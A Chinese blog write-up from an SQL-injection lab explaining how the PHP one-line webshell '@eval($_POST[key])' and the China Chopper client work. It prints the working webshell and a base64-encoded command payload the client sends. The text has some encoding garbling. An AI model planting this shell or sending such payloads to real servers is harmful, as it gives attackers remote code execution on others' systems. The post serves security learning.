參考文章 https://blog.csdn.net/gscaiyucheng/article/details/24911375 http://www.ifuryst.com/archives/caidao.html https://www.yongshen.me/index.php/archives/1199.html
0x00前言
前段時(shí)間在做sql注入實(shí)驗(yàn)室的時(shí)候 需要用到 dump into 的這個(gè)函數(shù)將一句話木馬寫入到服務(wù)器中 再使用中國菜刀進(jìn)行連接 至于原理就不知道了 所以通過前幾天的學(xué)習(xí) 把原理弄了一下 所以便來寫一下write up
0x01一句話木馬原理解析
我常使用的php一句話? <?php @eval($_POST[key]); ?> 很多時(shí)候都會(huì)把 一句話木馬傳到服務(wù)器上面 那么這是上面原理呢? eval函數(shù) 會(huì)將括號(hào)里面的代碼通過php語言來進(jìn)行執(zhí)行 $_POST函數(shù)的意思就是來收集 請(qǐng)求方法為post 的名字為key表單里面的值? 所以這個(gè)一句話木馬的密碼其實(shí)就是表單的名字
0x02中國菜刀原理解析
中國菜刀是一個(gè)非常方便的工具我們?cè)谑褂玫倪^程中可以直接添加 然后選擇腳本的類型 輸入密碼就可以連接了 至于原理前幾天我查看了些資料今天來總結(jié)一下 中國菜刀的本質(zhì)其實(shí)就是 模擬發(fā)包
所以我們先從簡(jiǎn)單的說起 在這里我使用的是火狐瀏覽器 的hackbar 來實(shí)現(xiàn)發(fā)包 事先我先上傳了res.php 的內(nèi)容為<?php @eval($_POST['key']); ?>? 然后通過hackbar 發(fā)包 如下圖
所以根據(jù)之前所說的 key是表單的名字 一句話木馬會(huì)獲取表單命為key的表單的內(nèi)容然后進(jìn)行執(zhí)行 這里表單的內(nèi)容是 phpinfo()這里我之前理解了很久所以我再說的清晰點(diǎn)? $_POST['key'] 這個(gè)是獲取表單名為key的表單的內(nèi)容 然后實(shí)際上此時(shí)的語句是 eval(phpinfo()) 然后eval函數(shù)再把phpinfo() 當(dāng)做php代碼來進(jìn)行執(zhí)行 所以就會(huì)出現(xiàn)以下的結(jié)果
然后進(jìn)行正常中國菜刀的分析
首先中國菜刀會(huì)發(fā)送一個(gè)http的包 op=@eval(base64_decode($_POST[key]));&key=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
后面那么一長(zhǎng)串的是什么呢 顯而易見的 是 通過 base64 加密后的數(shù)據(jù) 那么為什么要進(jìn)行base64 加密呢 因?yàn)闉榱朔乐怪型镜奶厥庾址麄鬏斒?然后解碼之后的結(jié)果是這樣的 如下圖
ini_set()函數(shù)是為了取消報(bào)錯(cuò)信息 set_time_limit(0)是為了防止超時(shí) 防止在上傳文件大馬的時(shí)候超時(shí)set_magic_quotes_runtime() 這個(gè)是關(guān)閉魔術(shù)引用這個(gè)已經(jīng)被棄用在 在php5.3 起 所以這里就不多闡述
base64_decode()是解碼之前傳輸中加密的base64包
opendir() 函數(shù) 的意思就是打開一個(gè)目錄句柄 如果成功就會(huì)返回目錄流 失敗的話就會(huì)返回false 或者 error? readdir()函數(shù)的意思就是 打開目錄流里面的條目 同理成功則返回 失敗則返回 error 和false
fileperms() 函數(shù)返回文件或目錄的權(quán)限若成功柒瓣,則返回文件的訪問權(quán)限稚字。若失敗,則返回 false? filesize() 函數(shù)返回指定文件的大小? 若成功铺韧,則返回文件大小的字節(jié)數(shù)俐载。若失敗蟹略,則返回 false 并生成一條 E_WARNING 級(jí)的錯(cuò)誤
所以我們可以簡(jiǎn)單的想 中國菜刀發(fā)的這么一個(gè)包 包的代碼是打開指定目錄的句柄,然后進(jìn)行循環(huán)掃描遏佣,并附帶上權(quán)限挖炬、時(shí)間、大小状婶、日期 這個(gè)包我這里用package來代替 所以在操作的時(shí)候其實(shí)就是 key = package? 然后通過eval函數(shù)執(zhí)行package的php代碼 從而最終達(dá)成目的